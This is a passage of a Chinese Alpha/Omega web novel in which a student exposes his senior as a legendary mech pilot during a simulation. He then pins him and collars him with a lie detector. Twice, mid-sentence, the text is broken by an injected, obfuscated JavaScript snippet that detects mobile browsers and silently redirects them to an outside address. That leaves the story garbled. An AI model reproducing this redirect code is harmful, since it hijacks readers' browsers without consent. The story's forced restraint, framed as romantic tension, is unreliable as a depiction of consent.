第二天一早,他起床洗漱完刚把杯子倒满,校长的通讯便再次打了进来。 兰舒动作一顿便猜到了对方打来的意图,有些不耐烦地“啧”了一声,但最终还是接了起来:“什么事?” 通讯那头的陆熙开门见山道:“我觉得……还是得给他一次机会。” “他”指的是谁不言而喻。 兰舒深吸了一口气,指尖不自觉地敲着杯壁。 陆熙似乎听出了他的不耐烦,连忙找补道:“我昨天晚上想起来我第一次见他的时候,那时他刚满十七岁,称得上天纵奇才,剩下的几所军校都想要他,给他开了十分优渥的条件,巴纳甚至向他承诺了未来露西亚那边的职位。” 这个职位指的显然是露西亚军方的职位,这确实是兰舒不曾知道的,他动作不由得一顿:“巴纳疯了?龙乾父亲可是华夏的——” “所以他最终选择了天枢。”陆熙闻言道:“但驱使他选择天枢的,并不只是因为龙宇元帅……你知道的,他们父子关系一直不是很好,所以那时候他宁愿回绝天枢,也不想踏入元帅的母校。” 龙乾和他的Alpha父亲关系确实不怎样,自三年前那件事之后,两人更是形同陌路。 兰舒问:“……那他最后为什么选择了天枢?” “他和我说……”陆熙轻声道,“他要作为史上最年轻的参赛者参加奥赛,而这个机会,只有天枢可能给他。” “我当时没和他做保证,只说努力给他争取。但他只因为这一句‘争取’,就拒了巴纳那边的邀请函。” “他跟我说,参加奥赛是他一直以来的梦想——” 说到这里,原本只是为了游说兰舒的陆熙却忍不住停顿了一下,语气中多了几分感慨:“不过他现在应该什么都不记得了。” 兰舒闻言所有动作和言语突然间凝滞了。 那句话像是什么咒语一样将他定在了原地。 ——他现在应该什么都不记得了。 兰舒缓缓扭头看向照片上的少年。 他见过十七岁的龙乾,所以他完全能够想象到,对方面对联邦上校时依旧桀骜不驯、意气风发的样子。 一生没怎么经历过挫折的少年天才,立志要作史上最年轻的参赛者,打破宇宙记录给所有人看。 只可惜,命运似乎更喜欢天才折戟的剧本。 兰舒安安静静地沉默了良久,最终,不知是出于怜悯,还是出于不可明说的感情,他还是松了口:“……只一次机会,如果不行,就此作罢。” 陆熙见他终于松了口,连忙笑道:“好好好,只此一次,我从后台给你开训练场的权限,劳烦你亲自去通知他一趟。” 兰舒却立刻道:“你跟他说。” 陆熙闻言一顿,语气中竟染上了几分揶揄:“这么敏感?你当真不喜欢他?” 兰舒:“……” 事实证明兰舒是个不吃软不吃硬,却唯独忌讳别人拿龙乾调侃他的人。 最终他还是改口应承下来了这件事。 当天上午兰舒难得上了一节文化课,刚一下课,他的光脑上便跳出来了一条通讯:“训练场已经给你订好了,考核内容你自己定。” 兰舒一言不发地看了那条消息三秒,随即起身,拿上东西向另一栋教学楼走去。 他甚至不需要看课表,便对龙乾此刻在上什么课了如指掌。 眼下刚好是课间,走廊内人来人往,大部分都是低年级生。 唯独兰舒一个高年级生逆着人流而来,众人见状纷纷向他投来了惊愕的目光。 兰舒丝毫不在意是否会有什么流言蜚语传出来,径自走到龙乾的教室门口,正准备推门而入时,却听到里面传来了几句闲聊:“哎哎,还有两年就毕业了,你们将来是打算进了部队再找Omega,还是再等等?” “我啊……其实比起Omega,我更想找个太空军医专业的Beta,最好是个姑娘——” “老白你这也太详细了!是不是已经有喜欢的人了?” “没、没有——” 眼见着自己好像说漏了嘴,白鑫连忙祸水东引道:“哎哎,龙哥你呢,你将来打算找个什么样的Omega?” 正跟他聊着天的男生笑道:“你疯了吧,龙哥可是眼里只有事业,哪能瞧得上Omega——” 然而他话还没说完,先前从不参与此类讨论的龙乾便破天荒地开口道:“我应该会找一个在研究所上班的Omega,长得漂不漂亮无所谓,但得温柔贤惠会做饭,而且嘴要甜,会哄人,最好比我小。” 他这一番话简直是一个标准的直A癌发言,别说Omega,就连周围刚下课还没来得及走的Beta闻言都有些不满地看向他。 只是龙乾这要求提的着实有些怪异,贤惠年轻还得会做饭,如此离谱的组合下居然唯独不包括漂亮。 细细品来,这些要求似乎是故意和什么人反着来的,以至于有点四不像。 先前的男生虽没听出来有原型,但还是忍不住道:“龙哥这要求,年龄小会哄人不说,还得能进研究院……恐怕是有点不好找啊。” 龙乾听了此话不置可否,一旁的宫巍却替他打抱不平道:“以龙哥这条件就是天仙也能找到,这点小要求而已,肯定没问题的。” 然而受了奉承的龙乾却并未表现出多少高兴,面上依旧是淡淡的,整个人由内而外透着四个大字——心不在焉。 宫巍见状一愣,脑海中不由得浮现了昨晚的场景。 他被龙乾吵醒后,迷迷糊糊的正准备再次睡去,没过多久却听到了一阵水声。 他有些茫然地坐起来,揉了揉眼睛却看到浴室的加热仪根本没有显示数字——龙乾就那么一个人在浴室中一言不发地冲了半个小时的冷水澡。 然而没等宫巍细细回想昨晚的异样,方才提起这个话题的男生便扭头对他笑道:“哎,龙哥都开尊口了,宫巍你呢?你将来想找什么样的Omega?” 没等宫巍回答,白鑫便紧跟着揶揄道:“像薇薇这样的应该不喜欢Omega吧?” 宫巍天生性格软,被拿这种事调侃多了,闻言也并不生气。 但他的两个舍友闻言却急了,当即搂着他的肩膀给他出头道:“你们什么意思,瞧不起我们薇薇吗?” “老宫,跟他说说你喜欢谁,让他长长见识!” 龙乾原本沉浸在自己的思绪中根本没在意他们到底在说什么,可宫巍闻言不知为何一顿,下意识看了他一眼,似乎是在顾虑他的反应。 开玩笑没把门的两个舍友见状也跟着后知后觉的意识到,此时已经不是新生军训只有三个人的寝室了,龙乾也在,于是不由得心头一紧,连忙止住了话头。 三人骤然间微妙下来的情况让龙乾动作一顿,心头突然升起了一股不对劲。 他带新生军训的几个月里,宿舍的其他人似乎已经掌握了什么他不知道的信息,从而形成了一种无形的小圈子,将他隔在了外面。 然而一开始聊闲的男生不是他们寝室的,完全没看出来他们之间的微妙,闻言无比好奇地同宫巍挤眉弄眼道:“谁谁谁?说出来让我们长长见识!” 龙乾的其他两个舍友见龙乾面上没什么反应,便松了口气继续起哄道:“人问你话呢薇薇。” “老宫你说句话啊!” 宫巍此人和他的名字完全不符,被人一起哄就脸红得不行,半天才憋出来一句:“……说出来你们肯定要笑我。” 他年纪最小,性格又软得像个Omega,所以很受剩下两个舍友照顾。 唯独龙乾不怎么喜欢他,见到他这副扭捏的模样不由得蹙了蹙眉。 原因无他,在龙乾的刻板印象中,Alpha就该有Alpha的样子,就像Omega该有Omega的样子一样。 可其他人似乎不这么觉得,反而把宫巍当成了Omega在宠,见他不愿意开口,便替他笑着解释道:“这有什么不好意思说的?我们薇薇虽然娇气,但人家可是真Alpha,打算泡高岭之花呢!” 另一个舍友有荣与焉地跟着起哄道:“这你要是能泡到手,那就是全校传奇,我们哥几个到时候直接去堵门喊嫂子!” 宫巍被他们臊得耳根发红:“八字没一撇呢——你们差不多得了!要是让、让他听见了,我跟你们没完!” 众人趁着课间起哄做一团,把宫巍哄得面红耳赤。 可唯独龙乾没有笑,反而蹙眉一眨不眨地看向宫巍:“你喜欢谁?” 宫巍被他看得心下猛地一跳,连带着面上的热意也消了几分。 眼见着龙乾面色不对劲,剩下两人还以为他是在生气被瞒着的事情,于是连忙解释道:“龙哥,你之前去带新生,薇薇还没来得及告诉你,不是有意瞒着你的,别生气啊。” 剩下一个紧忙道:“你把我们龙哥想成什么人了?都是兄弟,这点小事龙哥怎么可能会生气呢。” 然而龙乾跟没听见他们说话一样,反而直勾勾地看着宫巍,一字一顿地重复道:“你喜欢谁?” 那语气中带着难以言喻的阴郁和狠戾,冷得让人不寒而栗。 宫巍忍不住吞了吞口水,却还是顶着巨大的压力小声道:“我……我喜欢兰舒学长。” 此话一出,全场鸦雀无声。 除了同寝室的知情者,其他起哄的人都被宫巍的“豪言壮语”给惊呆了。 宫巍的两个舍友见大家都被震惊到了,不由得有些得意,刚想说什么,一扭头却对上了龙乾阴沉到极点的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123481|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色。 他们登时好像被人掐住了脖子一样,一下子没了声响。 可他们被龙乾看得头皮发麻之际,心下却误会了对方怒火中烧的原因,只当龙乾是因为厌恶兰舒,所以连带着讨厌他们三人。 毕竟任谁发现自己的舍友居然背着自己喜欢自己的死对头,恐怕都会有被背叛的感觉。 可唯独宫巍意识到,不是这样的。 他被龙乾冷眼看得汗毛倒竖,心脏一下子提到了嗓子眼,瞬间什么都明白了。 龙乾方才故意说给自己听的话全部喂了狗,什么要找研究院的贤惠温柔Omega,此刻只因为宫巍几个字便通通扔进了垃圾桶。 涌出的妒火烧得他心口疼,满脑子却只有一句话——那死人他争不过也就算了,宫巍算个什么东西也配跟他抢? 宫巍被他看得坐立难安,硬着头皮嗫嚅道:“龙哥,其实我——” 可就在此刻,什么人突然推门而入,众人下意识看向来者,却见兰舒一脸平静的站在门口。 所有人都被这戏剧性的一幕惊呆了。 宫巍一下子咬住话头坐直了身体,瞬间红透了脸颊,额头都在冒烟,整个人看起来马上就要晕倒了。 然而兰舒却好似宫巍不存在一样,抬眸径自掠过他,看向戾气浓到几乎要溢出来的龙乾,也不喊名字,只是淡淡道:“过来。” 他的语气平静到毫无起伏,好似在场那么多人都与他无关,连别人心惊胆怯捧到他面前的真心也不值一提。 ——就好似他在乎的只有龙乾一人而已。 龙乾和兰舒对视了三秒后,突然故作淡漠地瞟了宫巍一眼,不出意外地看到了对方骤然惨白下来的面容。 龙乾心口突然升起了一股隐秘的,夹杂着些许优越感的得意。 他就算听到了你喜欢他,又能如何呢? 龙乾收回目光,一边控制不住自己暗生快意,一边又忍不住在心头唾弃自己毫无意义的雄竞行为。 ——都是追在人屁股后面当狗,就算分出来三六九等又能有多大的区别? 但他最终还是起身,拿着光脑走到了门口。 然而不知是有意还是无意,他并未跨出门,反而站在门侧站定,低头看着兰舒:“有事?” 此刻的他就像是一只开屏的孔雀,故意当着众人的面将自己对兰舒身高优势和某种熟稔彰显得淋漓尽致。 ——互相仇恨的熟稔也总比形同陌路强。 兰舒闻言终于瞟了一眼教室内剩下的无关人员,收回视线道:“这里不方便说。” 言罢他转身向教室外走去,没有给旁人任何多余的目光。 龙乾虽然很不想承认,但这种众目睽睽下的特殊对待,让他暗爽得头皮发麻,忍不住舔了舔虎牙后,抬脚跟了上去。 走廊里人来人往,显然也不是兰舒认为能够聊事情的地方。 在兰舒的带领下,两人就这样沉默着向什么地方走去。 一时上头的醋意褪去,龙乾终于想起来了昨晚兰舒和校长之间的对话。 在那场对话中,两个人完全不需要他在场,便已经否决了他进入奥赛的所有可能。 先前被遗忘的暗火再一次涌上龙乾心头,奈何他并不愿意暴露自己夜晚的事情,只能暂时压着火气跟在兰舒身后。 待好不容易走到没什么人的拐角,龙乾实在忍不住了,一张口便没什么好语气:“现在能说了吧,到底是什么事?” 兰舒脚步没停,头甚至都没有回:“校委会那边决议的新一届奥赛名单上有你,我不想带你。” “但校长执意要给你一个机会,所以现在去模拟训练场。” 龙乾没想到他这么坦荡,更没想到昨晚的事还有后续,难得卡了一下壳,片刻后才问道:“你为什么不想带我?” 兰舒终于停下了脚步,侧眸看向他:“这还用问吗?” 他似是对龙乾毫无自知之明的态度感到有些好笑,于是扯出了一个嘲讽似的弧度:“你觉得以你的实力,配进奥赛吗?” 那居高临下的语气中,尽是不加掩饰的傲慢。 龙乾往日最烦的就是兰舒的这副姿态,但凡一周前他听到这人如此说话,恐怕只会气得急火攻心,三两句话便要吵起来。 可这一次,听完这句话,龙乾却沉默了。 有那么一瞬间,他很想不管不顾地当场戳穿兰舒那层高高在上的皮囊,看着他充满愕然的眼睛低声质问他:“装什么呢,学长,你不愿意带我,不就是怕我在赛场上搞大你的肚子么。” 可他最终什么都没说。 龙乾没有因为兰舒的轻视而大发雷霆,也没有质疑凭什么决定命运的机会,只因为兰舒的一句话就变得摇摇欲坠。 他什么都没有抱怨,只是垂眸直勾勾看着Omega的眼睛,意味不明道:“我若是赢了你,是不是就配进去了?” 13.间谍 兰舒和他对视了三秒,随即嗤笑一声:“大言不惭。” 他似乎完全没把龙乾的话放在心上,转身便向训练场走去:“你赢不了我,也不用赢我。等下模拟赛若是能进前五,我就放你进队,若是进不了,你就给我乖乖的待在学校。” 模拟赛,顾名思义,以曾经发生过的战局为模板进行全息模拟训练。 这种形式的优点是能让受训者快速经历多种极端战役,缺点是模板化严重,一旦同一个模板模拟次数超过十次,效果便会随之下降。 不过兰舒似乎对于自己所选的模板带着百分之二百的自信,并不担心龙乾是该模板的熟练者。 他说完那句话后没有解释的意思,带着龙乾径自来到了他们上次体测的地方。 此刻体测的器械已经被收了起来,模拟训练场也终于恢复了它本来的用途,不再随意对外界开放。 兰舒走到门口验证权限,龙乾却侧眸阴沉地看着他的侧脸问道:“等下模拟的是哪一场?” 兰舒头也没抬道:“上届奥赛的终局战。” 至此,兰舒终于展现出了他之所以游刃有余的底牌。 奥林匹克军事竞赛分为四大类,分别是个人赛、团队赛、博弈赛和机甲赛。 而终局战,便是机甲赛事中类似加时赛一样的战局。只有当常规赛事中出现机甲击落数追平的情况时,才会启动终局赛。 近二十年来的七场奥赛中,终局战一共出现过三次,而其中最著名的便是三年前那场以一敌百的格里斯翻盘战。 那一场终局战著名到宇宙皆知,所以兰舒抛下那句话后根本没有跟龙乾介绍的意思,待虹膜验证完毕后,抬脚便向训练场走去。 龙乾听到这里,却突然慢下了脚步,有一个原本已经被他抛到脑后的荒谬想法突然在他脑海中破土而出。 他就那么站在阴影中一眨不眨地看着兰舒的背影,像是在看一个撞到自己怀里的猎物。 半晌,龙乾突然道:“……学长,如果是这一场的话,你现在改还来得及。” 兰舒动作一顿,扭头看向他:“怎么,怕了?” “怎么会。”龙乾掩起眸底的晦暗,转而勾起了一个笑容,“我只是怕学长输得太惨罢了。” 他长得实在好看,一笑起来年轻的优势尽显无余。 兰舒被他笑得一晃眼,脑海中冒出的第一个念头却是——这似乎是几天来他第一次看到龙乾这么笑。 ……所以这小子这些天跟个男鬼一样到底是怎么回事? 兰舒心下疑惑,却并不耽误面上冷笑,他连话都懒得接,转头便向最近的一座模拟机甲走去。 无言是最高的轻蔑,龙乾见状眯了眯眼,拽着舱门一用力,几乎把人堵在了门口:“要打个赌吗,学长?” 兰舒却连看都不看他一眼,抬手一捏他的胳膊,龙乾在剧痛中下意识收手,回过神时,那人已经在位置上坐定,正居高临下地看着他:“赌什么?” 龙乾和他对视了三秒,沉着神色上了机甲,在主驾驶位上坐定后,终于抬起眼眸,阴沉地看向了操作台上的某个工具。 兰舒顺着他的目光看过去,却见那是一个测谎仪。 机甲最初的设计理念本就是用于战争的暴力机器,一开始就配有医疗舱、测谎仪等一系列用于俘虏的工具。 龙乾看着那仪器,半晌道:“我要是拿了第一,学长接上测谎仪回答我一个问题如何?” 兰舒眯了眯眼:“那你要是没拿第一呢?” “我要是没拿第一,”龙乾一哂,似乎压根不相信这种可能,“学长想如何呢?” 兰舒侧眸看向他,有那么一瞬间,龙乾感觉到那人的目光似乎在他的腹肌上停留了一瞬。 ……? 龙乾一愣,不过很快兰舒便收回了视线,好似那一切只是他的错觉一样。 “不如何,没拿第一就算了,我没什么想要你替我做的事情。”兰舒语气平静道,“权当学长疼你了。” 他连赌注都懒得下,显然是根本不相信龙乾能拿下第一。 龙乾闻言瞬间沉下了脸色。 可兰舒的姿态并不能称为狂妄。 毕竟两人昔日的交手中,所谓的五五持平指的皆是肉搏战,并不包括机甲战。 在机甲上,龙乾的成绩虽是整个年级的断层第一,但和真正的天枢首席比起来,他还不配和对方相提并论。 龙乾沉着脸色没有说话,机甲内再次陷入了寂静。 光屏上出现【模块正在加载】的字样,两人不约而同地拉下了全息面罩和安全阀。 机甲之外,当年那场震惊寰宇的战场缓缓加载浮现。 兰舒看着外面的场景不由得眯了眯眼,想起来了那场比赛的真实情况。 奥林匹克军事竞赛并非只有最出名的四大军校才会参加,参赛方零零总总加起来大概有一百多个军校。 它们或多或少代表着人类联邦下不同的星域或势力。 而格里斯便是其中一个微不足道的小型学校,参赛者甚至只有五个人。 可就是这样一个名不见经传的小学校,在三年前那场所有人都以为战局已定的赛场上,格里斯的一名替补选手却横空出世,以一敌百完成了绝地翻盘。 四大军校包括天枢在内,全部折戟于此。 那一战轰动了整个宇宙,也正因为那一战,原本旗鼓相当的赛场上出现了前所未有的偏向。 四大军校之一的巴纳军校三座机甲被毁,间接导致了后来的惨案。 天枢虽保全了所有重装机甲,却也因此无缘四连冠,最终黯然退场。 费伦斯的王牌更是在开场便被那人一炮击落,但也算是因祸得福,保全了主力,之后他们趁机下手,伤了巴纳五个主力成员,从而夺得了季军。 而造成这一切的,却是一个名叫诺伊的普通Beta。 他普通到放在人群中瞬间便会被淹没,没有人能想象到那么平庸的人居然能打出那样漂亮的战役。 而那个外表和性格都平平无奇的Beta,最终只给那场赛事留下了一则传说,很快便毕了业,从此销声匿迹了。 四大军校的论坛乃至整个星网都在讨论这个人打下这么漂亮的战役后究竟去了哪个星域,可惜没有讨论出任何结果。 诺伊的失踪也给整场比赛蒙上了一层神话般的面纱。 只不过,神话之所以被称之为神话,大部分时候并不因为神秘,而是因为遥不可及。 天才只是那场神话的入场券,是不值一提的消耗品。 所以在这样一场极端精彩的比赛前,哪怕只是模拟战,兰舒也一点都不担心自己的赌约会输。 ——这个模板因为出现了太多不合理的操作,所以根本不在学校的教学大纲里。 龙乾再怎么是天才中的天才,眼下也不过是个刚刚20岁的二年级生罢了,在没有经历过任何培训的情况下,怎么可能拿得下那场比赛的第一。 然而这一次,兰舒失策了。 【编号 47-004-终局战模拟版图加载完毕,请进行任意动作开始战斗。】 兰舒闻声收回视线,刚想抬手触碰光屏,龙乾却毫无征兆地突然拉起操作杆——三级跃迁。 预热都没有的机甲瞬间跳过两个级别,直接完成了三级跃迁,兰舒猝不及防下差点被龙乾晃得吐出来。 饶是战斗经验再丰富的人也没见过这样急着送死的打法,回神之后兰舒忍着胸口的不适,扭头匪夷所思地看向龙乾:“……你疯了?!” 龙乾没有接他的话,银色的金属面罩下,Alpha冷静到极致的面容英俊得让人发指。 从机甲开始行动的一瞬间,比赛便正式开始了,一百座机甲同时出现在模拟赛场上,没有丝毫空歇,战火瞬间铺满了整片天空。 龙乾在三级跃迁的基础上再次拉升,精准躲过了一道冷枪,而后连瞄准都没有瞄准,侧身一发脉冲粒子炮当即完成了一个漂亮的击杀。 一套行云流水的操作下来堪称赏心悦目,兰舒却当即蹙起了眉毛。 ——这和龙乾往日机甲课上的水平根本不成正比,难不成这小子之前课上其实都在藏拙? 兰舒心思陡转之际,龙乾已经借着方才那一炮分割出了战场。 他见状没有丝毫犹豫,立刻熄灭了机甲上的所有热武器,而后神不知鬼不觉地从战场中穿了过去。 兰舒见状眼皮一跳,突然意识到为什么龙乾和之前课上相比反差这么大了。 ——这小王八蛋的招数又险又阴,完全不顾自己死活,全是课程考核中不合格的动作。 而后像是为了证明兰舒这一猜测一样,龙乾以一种极度危险的距离贴近巴纳机甲群,随即手起刀落,以极其狠辣刁钻的角度,直接砍下了【金鹰】的左翼! 巴纳名下最大的巨型护卫机甲骤然从半空中跌落,无声的爆炸在整个空间内回荡,震得人头皮发麻。 失去了金鹰,巴纳的机甲群就像是硬生生被人撕开了一条口子的蜂群,露出了其中真正关键,却也是唯一一个没有独立作战能力的突击型机甲【女王蜂】。 ——在真正的比赛中,诺伊直到战局接近尾声,才破开巴纳的机甲阵,勉强找到女王蜂的位置。 可眼下这场模拟赛才开始了不到十分钟,四大之一的巴纳居然就已经被拆成了盘中肉,只能任人宰割。 兰舒在这一刻终于明白了龙乾的自信到底是从何而来的了。 余光瞟见兰舒故作镇定却还是难掩惊愕的神情,装了半天沉着冷静的龙乾终于装不下了,勾了勾嘴角露出了一个到自信到张扬的笑容:“首席大人想好待会怎么糊弄测谎仪了吗?” 兰舒定下神色冷声道:“过于自信不是什么好事,狂话说得太早容易闪掉牙。” “敢选这一场作为模拟赛,过于自信的人分明是学长你才对吧?”到了这一步,龙乾终于露出了自己的底牌,“这个板子我整整模拟过一千遍,你觉得我有输的可能吗?” 兰舒一愣,蓦然看向龙乾,像是在看一个疯子。 军校的所有人都有一个共识——同一个模拟板就算再怎么超神,练一千遍的效果也不如实战一百次来的大。毕竟战场瞬息万变,不可能根据过往某个单一的局势给出相同的反应。 龙乾本人对此理应一清二楚,所以任由兰舒想破脑袋也想不明白,这小疯子居然能把同一场比赛模拟一千遍——他到底图什么? 没等兰舒想出什么所以然,突然间,真正赛场上接近尾声时才发生的变故居然在这一刻便陡然降临了——为了保护暴露在敌人视线中的女王蜂,巴纳最后一座巨型护卫甲【泰坦】径自撞了过来。 极具压迫感的巨型机甲宛如鲸鱼般压下,可龙乾纹丝不动,直到那机身快要砸到脸上时,他才蓦然拉动操纵杆,借助对方体型带来的巨大冲击波顺利完成了二次跃迁。 这一招极为惊险,哪怕是在模拟战中,给驾驶员带来的震荡也是巨大的。 滔天的眩晕感根本没法避免,可龙乾硬生生咽下喉咙的血腥味后,居然还有余力开口:“当时诺伊在比赛中也用了这种跃迁方式……赛事组没有判他违规。” 兰舒被他晃得内脏差点出来,此刻正在心里骂他,闻言当即冷笑道:“背一千遍板子,狗都能飞起来变成诺伊,你不用跟我炫耀你那些——” “我不是在炫耀。”龙乾扭头看向似乎已经不记得那件事的兰舒,“奥赛都不违规的操作,之前那场考试,你凭什么判我违规?” 这指的其实是几个月前兰舒监考时判他成绩无效的事情。 兰舒这才意识到这人居然还在为那件事耿耿于怀,他深吸了一口气解释道:“以过高的牺牲率换取一线可能,如此激进的打法和赌博没有任何区别,在校内考试中自然不合格,不过在赛场上勉强算是一种剑出偏锋……” “和赌博没有任何区别?”龙乾闻言轻描淡写地抛出了一句反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128675|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,“所以学长当时也是在赌了?” 兰舒一开始并未意识到他在说什么:“我有什么好赌——” 可他话说到一半,心下却猛地一跳,蓦然睁大了眼睛。 声音戛然而止,机甲内本就稀薄的空气一下子凝滞了下来。 兰舒的喉结几不可见的滚了两下,半晌神色如常道:“……我不知道你在说什么。” 他嘴上这么说,手却缓缓摸向了安全扣。 龙乾嗤笑了一声,没有看他,也没有再喊学长,而是直呼名讳道:“兰舒,你故意选这一场,是觉得天底下真没有人能认出你吗?” 舱内的气氛突然凝滞到了极致。 整个世界似乎归于覆灭一样的寂静,外面战火交叠,龙乾却像一个写好的程序般,冷静且杀伐果断,但他的心显然已经不在战场上了。 Alpha完全凭借着肌肉记忆,反手将最后一个机甲一离子炮轰在地上。 巨大的轰鸣声中,比赛结束,战火平息了下去,只剩下硝烟在场上弥漫。 机甲落地的一刹那,兰舒当即卸下面罩,手指瞬间便搭在了安全扣上。 可经历了一场鏖战的Alpha反应比他更快,背后长眼一般立刻按住他的手腕,眼神如狼一样直勾勾地看着他:“学长想去哪?” 本就狭窄的空间,一时间只能听到两人的呼吸声。 三秒之后兰舒骤然动手,一点对待学弟的温情都没有,出手便是朝着龙乾脖子去的杀招。 龙乾硬生生挨了一下,颈侧瞬间便见了血,但他好似没有痛觉一样,动作没有丝毫的停滞,掐着兰舒的手腕便压了上去。 龙乾仗着体型优势将人逼到角落,他此刻已经彻底掌握了压制Omega的技巧——距离近和不怕死。 只要距离足够近,而且不怕死,Alpha天生的体力优势便足够弥补两人之间的技巧差距。 理论上,只要空间足够小,两人之间的距离为零,兰舒那些战斗技巧将毫无用武之处,成为一个只能任人宰割的普通Omega。 就像现在这样。 Alpha坚硬的膝盖牢牢地抵在兰舒的双腿之间,硬生生阻止了他的一切腿上动作。 只不过原本剑拔弩张的动作不知为何变了异味,歪打正着地碾过针孔不说,还没轻没重的顶到更深处,隔着布料把腿肉都给挤得变了形。 兰舒猝不及防间竟被撞得闷哼出声,随即恼羞成怒当场变了脸色。 可让他更恼羞成怒的事还在后面。 龙乾一手按着他的手臂,一手从操作台上扯下了测谎仪,随即掐着他的下巴将测谎仪套在了他的脖子上。 那测谎仪看起来和项圈差别不大,为了根据心跳和信息素的分泌进行判断,需要卡在被测谎者的脖子上。 除此之外它还有防止俘虏逃脱的功能,只不过眼下这个功能却透出了别样的羞辱感。 兰舒被羞耻感冲得耳根发烫,恼羞成怒下,忍无可忍地一口便咬在了龙乾的虎口上。 鲜血当即顺着他的齿缝淌出,龙乾却连眼都没眨一下,就那么蘸着血,掐着下巴将他的脸抬了起来。 兰舒被迫仰着脸冷冷地看着他,怒气染红了眼角,鲜血顺着虎牙往下淌,凶得好看极了,看起来是真的生气了。 ——无所谓。 龙乾满不在乎地想到。 反正这人已经够讨厌自己了,多讨厌一点不更说明自己比其他人特殊吗? “学长,你知道我为什么要把那个板子模拟一千遍吗?”他俯下身,像是诉说爱语一样在兰舒耳边低声道,“因为我发现,我们敬爱的首席大人,操纵机甲跃迁时的动作居然和那位神迹的缔造者如出一辙。” 兰舒咬着他的虎口死死地盯着他,眼神冰冷到了极致,好似一个被发现了巢穴的蛇一样,全身的逆鳞都立了起来。 显得危险而漂亮。 龙乾见状不但不怵,反而轻笑一声继续道:“但仅仅那一处细节,根本不足以证明什么。” “后来我为了验证自己的猜想,将那场比赛整整模拟了一千遍,可最终我还是发现,你和诺伊依旧只有跃迁时那一个细节吻合,除此之外无论是杀招还是撤退,没有任何相似的地方。” “我后来其实已经放弃了,只当是自己多想,未曾想——学长居然这么疼我。” 最后那句话中带着毫不掩饰的恶意,兰舒瞳孔微缩,终于明白这人居然那么早就起了疑心。 可惜,一切都晚了。 “首席大人,先前你说过的话现在原数奉还给你。”龙乾说话间用膝盖牢牢地抵在兰舒双腿中间,掐着人的下巴强迫对方抬起头,“你分明不想让人知道自己先前的事,却还是选了那一场比赛作为考核标准,是不是有些……过于自信了?” 兰舒不答,只是死死地咬着他的虎口,没有丝毫收力的意思。 血已经淌了龙乾一胳膊,然而他似乎早就这种程度的疼痛,根本不为所动:“那么现在,劳烦首席大人回答我一个疑惑——为什么三年前你代替其他军校出战,三年后的今天,你却出现在天枢?” 他垂眸盯着怀中人被血染红的嘴唇:“如果你回答不上来,根据星际间谍法的规定,对疑似军事间谍的人……可以采取一切手段。” 说话间,龙乾低头压近,两人之间的距离瞬间近到了一个岌岌可危的地步:“是你自己坦白,还是等我撬开你的嘴?” 时间在这一刻好似凝滞了。 兰舒被迫抬眸看了他半晌,终于松开嘴,喘着气轻声道:“……你要审问我?” 他的声音中还带着一丝被血烫出的沙哑:“可是间谍法还规定过,哪怕是军事间谍,审问Omega时也必须有至少一个同性别的人在,不得由Alpha单独审问。” 他看着龙乾蓦然冷下来的眼睛笑了一下,而后有恃无恐地舔了一下嘴唇上的血: “你一个Alpha……怎么,还想对我动私刑吗?” 14.前夫 私刑,这个词话中的狎昵意味实在是太重了。 龙乾脑海中瞬间划过了无数下流到难以用语言描述的画面。 但他面上硬生生忍住了,丝毫没有被带偏,极度冷淡道:“学长的意思是承认了?” 往日两人的矛盾中,冷静的从来都是兰舒,眼下却发生了角色反转。 年轻的Alpha宛如头狼般阴戾而有耐心地支在自己身上,带着浓烈信息素的鲜血从他虎口处涌出,暴力和性张力在这一刻交织得淋漓尽致,若不是情况不对,兰舒恐怕还能好整以暇的品鉴一番。 可眼下形势逼人,眼见着龙乾油盐不进,膝盖都恨不得顶进来,面上还装得道貌岸然,兰舒忍不住在心底暗骂一声。 可他方才被迫咽了一口Alpha的血,此刻肚子里烧得不行,整个人堪称狼狈,根本没有还手的可能。 虽然强效抑制贴正牢牢地贴在兰舒的颈后,他基本没可能在这里进入发情期,但口腔中弥漫开来的柠檬味还是无孔不入地侵蚀着他的味蕾和理智。 兰舒这一刻突然有些后悔了,他之前应该把那一针抑制剂打下去的,不然也不至于落得如此被动。 然而木已成舟,他来不及过多谴责曾经的自己,便飞速思考起了应对的方法。 由于他自己的失误,原本只是怀疑的龙乾此刻已经确信了,眼下承认不承认其实没什么区别了。 但兰舒怕的是……对方问自己要这背后的原因。 ——为什么三年前他会出现在一个名不见经传的军校?为什么当时的他从外貌上看起来和眼下截然不同?兰舒和诺伊到底哪个才是他的真名? 以及……他费尽心思辗转多处所作的一切,到底是为了谁? 他不能说。 哪怕一个字,他都不能透露。 那人身上触目惊心的溃烂再一次于他眼前浮现,兰舒蓦然闭了闭眼。 ——哪怕是医疗高度发达,连四肢和肾脏都能再生的今天,却需要整整两年时间才能治愈的伤到底该有多痛? 兰舒不知道,但他知道眼前人的情意自己不能接。 不,那应该还不叫情意。 面对一个认识不到一年,看起来对他只有厌恶的人来说,那只能算是生理冲动,不能算喜欢。 可哪怕是冲动……此刻也有利用的价值。 兰舒睫毛微动,半晌含着血缓缓抬眸看向龙乾。 那实在是一个脆弱又绮丽的角度,哪怕龙乾装得再怎么不为所动,见状还是不由得一愣。 “刑讯逼供确实不失为一种办法,不过……”那漂亮到极致的Omega宛如梦魇般反问道,“你确定要把这个机会放在这里?” 